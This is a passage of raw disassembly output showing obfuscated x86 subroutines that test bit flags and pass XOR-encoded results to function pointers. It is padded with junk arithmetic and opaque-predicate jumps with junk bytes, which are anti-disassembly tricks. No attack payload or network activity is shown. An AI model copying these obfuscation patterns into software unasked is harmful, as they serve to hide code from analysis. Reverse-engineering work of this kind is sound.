var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AEh sub cl, 0Ah not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl inc cl dec cl dec cl dec cl dec cl inc cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 200h inc dh inc dh dec dh inc dh inc dh inc dh inc dh inc dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1C73 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1C73: ; CODE XREF: sub_4A1B8A+DEj mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1B8A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1C87 proc near ; DATA XREF: sub_4965D8+47o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 800h jmp short loc_4A1CB0 ; --------------------------------------------------------------------------- mov ebx, 80h loc_4A1CB0: ; CODE XREF: sub_4A1C87+22j mov ebx, 72h not ebx bswap eax not ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0F00h sub dh, 1 dec dh dec dh dec dh dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1D24 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1D24: ; CODE XREF: sub_4A1C87+92j mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1C87 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1D38 proc near ; DATA XREF: sub_4965D8+1229o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DDC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Ah pop ebx dec bl dec bl dec bl add bl, 0FFh add bl, 0FFh dec bl sub bl, 1 add bl, 0FFh add bl, 0FFh add bl, 0FFh and al, bl mov dh, 15h and dl, 0 dec dh sub dh, 6 dec dh dec dh dec dh sub dh, 1 dec dh dec dh and ah, dh pop ebx pop edx test eax, eax jz short loc_4A1DA3 not eax add eax, 1 stc jmp short loc_4A1DA9 ; --------------------------------------------------------------------------- loc_4A1DA3: ; CODE XREF: sub_4A1D38+61j not eax add eax, 1 clc loc_4A1DA9: ; CODE XREF: sub_4A1D38+69j sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED40C xor ecx, dword_4ED410 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1DD0 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1DD0: ; CODE XREF: sub_4A1D38+8Dj mov eax, [ebp+var_8] push eax call off_4F1D64 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1D38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1DE4 proc near ; DATA XREF: sub_4965D8+15B4o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DCC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 6 dec ch dec ch dec ch jo short loc_4A1E2C jl short loc_4A1E2A loc_4A1E27: ; CODE XREF: sub_4A1DE4:loc_4A1E2Aj ; sub_4A1DE4:loc_4A1E2Cj jmp short loc_4A1E2E ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A1E2A: ; CODE XREF: sub_4A1DE4+41j jz short loc_4A1E27 loc_4A1E2C: ; CODE XREF: sub_4A1DE4+3Fj jmp short loc_4A1E27 ; --------------------------------------------------------------------------- loc_4A1E2E: ; CODE XREF: sub_4A1DE4:loc_4A1E27j and ah, ch mov cl, 87h sub cl, 12h dec cl dec cl sub cl, 2 not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 800h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_4A1F2F mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 4 pop ecx dec cl dec cl dec cl dec cl and al, cl mov bh, 0Fh and bl, 0 dec bh sub bh, 3 dec bh sub bh, 1 dec bh and ah, bh pop ecx pop ebx test eax, eax jz short loc_4A1F1A not eax add eax, 1 stc jmp short loc_4A1F20 ; --------------------------------------------------------------------------- loc_4A1F1A: ; CODE XREF: sub_4A1DE4+12Cj not eax add eax, 1 clc loc_4A1F20: ; CODE XREF: sub_4A1DE4+134j sbb eax, eax add eax, 1 pop ecx cmp ecx, eax jnz short loc_4A1F2F and eax, 0 jmp short loc_4A1F33 ; --------------------------------------------------------------------------- loc_4A1F2F: ; CODE XREF: sub_4A1DE4+9Fj ; sub_4A1DE4+144j and eax, 0 inc eax loc_4A1F33: ; CODE XREF: sub_4A1DE4+149j mov [ebp+var_C], eax mov ecx, dword_4ED3FC xor ecx, dword_4ED400 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1F56 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1F56: ; CODE XREF: sub_4A1DE4+167j mov eax, [ebp+var_8] push eax call off_4F1D54 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1F6A proc near ; DATA XREF: sub_4965D8+13C1o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch mov ebx, [ebp+arg_4] dec esi dec edi xor edx, edx or ebx, edx jz short loc_4A1FA6 dec edi and eax, 0 jmp short loc_4A1FAD ; --------------------------------------------------------------------------- loc_4A1FA6: ; CODE XREF: sub_4A1F6A+34j dec edi and eax, 0 dec edi dec edi inc eax loc_4A1FAD: ; CODE XREF: sub_4A1F6A+3Aj mov [ebp+var_8], eax mov eax, dword_4ED3D0 xor eax, dword_4ED3D4 shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_4A1FCF mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_4A1FCF: ; CODE XREF: sub_4A1F6A+5Aj mov edx, [ebp+var_4] push edx call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1F6A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1FE3 proc near ; DATA XREF: sub_4965D8+AB9o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DCC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx push 40h pop ecx xor ecx, 40h and al, cl mov bh, 0Fh and bl, 0 dec bh sub bh, 3 dec bh sub bh, 1 dec bh jo short loc_4A202F jl short loc_4A202D loc_4A2028: ; CODE XREF: sub_4A1FE3:loc_4A202Dj ; sub_4A1FE3:loc_4A202Fj jmp short loc_4A2031 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A202D: ; CODE XREF: sub_4A1FE3+43j jz short loc_4A2028 loc_4A202F: ; CODE XREF: sub_4A1FE3+41j jmp short loc_4A2028 ; --------------------------------------------------------------------------- loc_4A2031: ; CODE XREF: sub_4A1FE3:loc_4A2028j and ah, bh pop ecx pop ebx test eax, eax jz short loc_4A2041 not eax add eax, 1 stc jmp short loc_4A2047 ; --------------------------------------------------------------------------- loc_4A2041: ; CODE XREF: sub_4A1FE3+54j not eax add eax, 1 clc loc_4A2047: ; CODE XREF: sub_4A1FE3+5Cj sbb eax, eax add eax, 1 mov [ebp+var_C], eax mov ecx, dword_4ED3FC xor ecx, dword_4ED400 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A206F mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A206F: ; CODE XREF: sub_4A1FE3+81j mov eax, [ebp+var_8] push eax call off_4F1D54 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1FE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2083 proc near ; DATA XREF: sub_4965D8+883o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 41h mov ecx, 0Dh not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx jo short loc_4A20BE jl short loc_4A20BC loc_4A20B9: ; CODE XREF: sub_4A2083:loc_4A20BCj ; sub_4A2083:loc_4A20BEj jmp short loc_4A20C0 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A20BC: ; CODE XREF: sub_4A2083+34j jz short loc_4A20B9 loc_4A20BE: ; CODE XREF: sub_4A2083+32j jmp short loc_4A20B9 ; --------------------------------------------------------------------------- loc_4A20C0: ; CODE XREF: sub_4A2083:loc_4A20B9j inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx jo short loc_4A20D5 jl short loc_4A20D3 loc_4A20D0: ; CODE XREF: sub_4A2083:loc_4A20D3j ; sub_4A2083:loc_4A20D5j jmp short loc_4A20D7 ; --------------------------------------------------------------------------- icebp loc_4A20D3: ; CODE XREF: sub_4A2083+4Bj jz short loc_4A20D0 loc_4A20D5: ; CODE XREF: sub_4A2083+49j jmp short loc_4A20D0 ; --------------------------------------------------------------------------- loc_4A20D7: ; CODE XREF: sub_4A2083:loc_4A20D0j dec ecx inc ecx add cl, 3 add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 9 push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2124 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2124: ; CODE XREF: sub_4A2083+96j mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2083 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2138 proc near ; DATA XREF: sub_4965D8+75Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1E00h pop ebx jo short loc_4A216C jl short loc_4A216A loc_4A2167: ; CODE XREF: sub_4A2138:loc_4A216Aj ; sub_4A2138:loc_4A216Cj jmp short loc_4A216E ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4A216A: ; CODE XREF: sub_4A2138+2Dj jz short loc_4A2167 loc_4A216C: ; CODE XREF: sub_4A2138+2Bj jmp short loc_4A2167 ; --------------------------------------------------------------------------- loc_4A216E: ; CODE XREF: sub_4A2138:loc_4A2167j sub bh, 4 inc bh sub bh, 2 inc bh inc bh dec bh push eax dec bh dec bh inc bh dec bh dec bh jo short loc_4A2190 jl short loc_4A218E loc_4A218B: ; CODE XREF: sub_4A2138:loc_4A218Ej ; sub_4A2138:loc_4A2190j jmp short loc_4A2192 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4A218E: ; CODE XREF: sub_4A2138+51j jz short loc_4A218B loc_4A2190: ; CODE XREF: sub_4A2138+4Fj jmp short loc_4A218B ; --------------------------------------------------------------------------- loc_4A2192: ; CODE XREF: sub_4A2138:loc_4A218Bj and eax, 40h dec bh sub bh, 12h sub bh, 3 pop eax dec bh and ah, bh mov edx, 12h dec dl sub dl, 1 dec dl sub dl, 9 inc dl dec dl dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3D8 xor ecx, dword_4ED3DC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A21E5 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A21E5: ; CODE XREF: sub_4A2138+A2j mov eax, [ebp+var_8] push eax call off_4F1D30 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2138 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A21F9 proc near ; DATA XREF: sub_4965D8+223o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] dec bh and eax, 800h jo short loc_4A2215 jl short loc_4A2213 loc_4A2210: ; CODE XREF: sub_4A21F9:loc_4A2213j ; sub_4A21F9:loc_4A2215j jmp short loc_4A2217 ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4A2213: ; CODE XREF: sub_4A21F9+15j jz short loc_4A2210 loc_4A2215: ; CODE XREF: sub_4A21F9+13j jmp short loc_4A2210 ; --------------------------------------------------------------------------- loc_4A2217: ; CODE XREF: sub_4A21F9:loc_4A2210j mov ebx, 4 and eax, ebx mov ch, 52h dec ch mov ebx, [ebp+arg_4] xor ecx, ecx or ebx, ecx jz short loc_4A2236 dec edi sub ch, 2 dec ch and eax, 0 jmp short loc_4A2257 ; --------------------------------------------------------------------------- loc_4A2236: ; CODE XREF: sub_4A21F9+30j dec edi dec ecx sub ch, 2 dec ch dec ch sub ch, 8 jo short loc_4A224B jl short loc_4A2249 loc_4A2246: ; CODE XREF: sub_4A21F9:loc_4A2249j ; sub_4A21F9:loc_4A224Bj jmp short loc_4A224D ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- loc_4A2249: ; CODE XREF: sub_4A21F9+4Bj jz short loc_4A2246 loc_4A224B: ; CODE XREF: sub_4A21F9+49j jmp short loc_4A2246 ; --------------------------------------------------------------------------- loc_4A224D: ; CODE XREF: sub_4A21F9:loc_4A2246j and eax, 0 dec ecx sub ch, 2 inc eax dec ch loc_4A2257: ; CODE XREF: sub_4A21F9+3Bj mov [ebp+var_8], eax mov eax, dword_4ED418 xor eax, dword_4ED41C shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_4A2279 mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_4A2279: ; CODE XREF: sub_4A21F9+75j mov edx, [ebp+var_4] push edx call off_4F1D70 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A21F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A228D proc near ; DATA XREF: sub_4965D8+2EFo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DEC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_4A22B6 ; --------------------------------------------------------------------------- mov ebx, 4 loc_4A22B6: ; CODE XREF: sub_4A228D+22j mov ebx, 41h not ebx bswap eax not ebx inc ebx inc ebx and eax, 0 and ebx, 800h dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax inc eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED41C xor ecx, dword_4ED420 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A22FE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A22FE: ; CODE XREF: sub_4A228D+66j mov eax, [ebp+var_8] push eax call off_4F1D74 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A228D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2312 proc near ; DATA XREF: sub_4965D8+4F8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_4A2337 jl short loc_4A2335 loc_4A2332: ; CODE XREF: sub_4A2312:loc_4A2335j ; sub_4A2312:loc_4A2337j jmp short loc_4A2339 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A2335: ; CODE XREF: sub_4A2312+1Ej jz short loc_4A2332 loc_4A2337: ; CODE XREF: sub_4A2312+1Cj jmp short loc_4A2332 ; --------------------------------------------------------------------------- loc_4A2339: ; CODE XREF: sub_4A2312:loc_4A2332j push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_4A238D jl short loc_4A238B loc_4A2388: ; CODE XREF: sub_4A2312:loc_4A238Bj ; sub_4A2312:loc_4A238Dj jmp short loc_4A238F ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A238B: ; CODE XREF: sub_4A2312+74j jz short loc_4A2388 loc_4A238D: ; CODE XREF: sub_4A2312+72j jmp short loc_4A2388 ; --------------------------------------------------------------------------- loc_4A238F: ; CODE XREF: sub_4A2312:loc_4A2388j dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl pop ecx pop ebx test eax, eax jnz loc_4A245A mov eax, [ebp+var_4] push ebx mov ebx, 800h jmp short loc_4A23D6 ; --------------------------------------------------------------------------- mov ebx, 80h loc_4A23D6: ; CODE XREF: sub_4A2312+BDj mov ebx, 72h not ebx bswap eax not ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_4A2419 jl short loc_4A2417 loc_4A2412: ; CODE XREF: sub_4A2312:loc_4A2417j ; sub_4A2312:loc_4A2419j jmp short loc_4A241B ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A2417: ; CODE XREF: sub_4A2312+FEj jz short loc_4A2412 loc_4A2419: ; CODE XREF: sub_4A2312+FCj jmp short loc_4A2412 ; --------------------------------------------------------------------------- loc_4A241B: ; CODE XREF: sub_4A2312:loc_4A2412j sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1500h dec dh sub dh, 3 dec dh sub dh, 7 dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax pop ecx cmp ecx, eax jnz short loc_4A245A and eax, 0 inc eax jmp short loc_4A245D ; --------------------------------------------------------------------------- loc_4A245A: ; CODE XREF: sub_4A2312+AEj ; sub_4A2312+140j and eax, 0 loc_4A245D: ; CODE XREF: sub_4A2312+146j mov [ebp+var_C], eax mov ecx, dword_4ED3F0 xor ecx, dword_4ED3F4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2480 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2480: ; CODE XREF: sub_4A2312+163j mov eax, [ebp+var_8] push eax call off_4F1D48 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2312 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2494 proc near ; DATA XREF: sub_4965D8+141Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D94 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0F00h sub dh, 1 dec dh dec dh dec dh dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx jo short loc_4A252E jl short loc_4A252C loc_4A2529: ; CODE XREF: sub_4A2494:loc_4A252Cj ; sub_4A2494:loc_4A252Ej jmp short loc_4A2530 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A252C: ; CODE XREF: sub_4A2494+93j jz short loc_4A2529 loc_4A252E: ; CODE XREF: sub_4A2494+91j jmp short loc_4A2529 ; --------------------------------------------------------------------------- loc_4A2530: ; CODE XREF: sub_4A2494:loc_4A2529j cmp eax, edx jo short loc_4A253B jl short loc_4A2539 loc_4A2536: ; CODE XREF: sub_4A2494:loc_4A2539j ; sub_4A2494:loc_4A253Bj jmp short loc_4A253D ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A2539: ; CODE XREF: sub_4A2494+A0j jz short loc_4A2536 loc_4A253B: ; CODE XREF: sub_4A2494+9Ej jmp short loc_4A2536 ; --------------------------------------------------------------------------- loc_4A253D: ; CODE XREF: sub_4A2494:loc_4A2536j setnz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3C4 xor ecx, dword_4ED3C8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2565 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2565: ; CODE XREF: sub_4A2494+C6j mov eax, [ebp+var_8] push eax call off_4F1D1C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2494 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2579 proc near ; DATA XREF: sub_4965D8+C51o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 2 pop ebx dec bl dec bl and al, bl mov dh, 0Eh and dl, 0 sub dh, 4 dec dh sub dh, 1 and ah, dh pop ebx pop edx test eax, eax jz short loc_4A25C4 not eax add eax, 1 stc jmp short loc_4A25CA ; --------------------------------------------------------------------------- loc_4A25C4: ; CODE XREF: sub_4A2579+41j not eax add eax, 1 clc loc_4A25CA: ; CODE XREF: sub_4A2579+49j sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A25F1 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A25F1: ; CODE XREF: sub_4A2579+6Dj mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2579 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2605 proc near ; DATA XREF: sub_4965D8+B2Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D80 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx sub bl, 5 dec bl push eax and eax, ebx dec bl dec bl and eax, 10h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1100h sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED3B0 xor ecx, dword_4ED3B4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2683 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2683: ; CODE XREF: sub_4A2605+73j mov eax, [ebp+var_8] push eax call off_4F1D08 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2605 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2697 proc near ; DATA XREF: sub_4965D8+679o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Fh pop ebx dec bl dec bl dec bl dec bl sub bl, 2 add bl, 0FFh dec bl dec bl add bl, 0FFh add bl, 0FFh dec bl sub bl, 1 add bl, 0FFh add bl, 0FFh and al, bl mov dh, 14h and dl, 0 dec dh sub dh, 2 dec dh dec dh sub dh, 1 dec dh dec dh inc dh dec dh dec dh inc dh dec dh inc dh dec dh dec dh inc dh dec dh dec dh dec dh and ah, dh pop ebx pop edx test eax, eax jz short loc_4A2721 not eax add eax, 1 stc jmp short loc_4A2727 ; --------------------------------------------------------------------------- loc_4A2721: ; CODE XREF: sub_4A2697+80j not eax add eax, 1 clc loc_4A2727: ; CODE XREF: sub_4A2697+88j sbb eax, eax neg eax mov 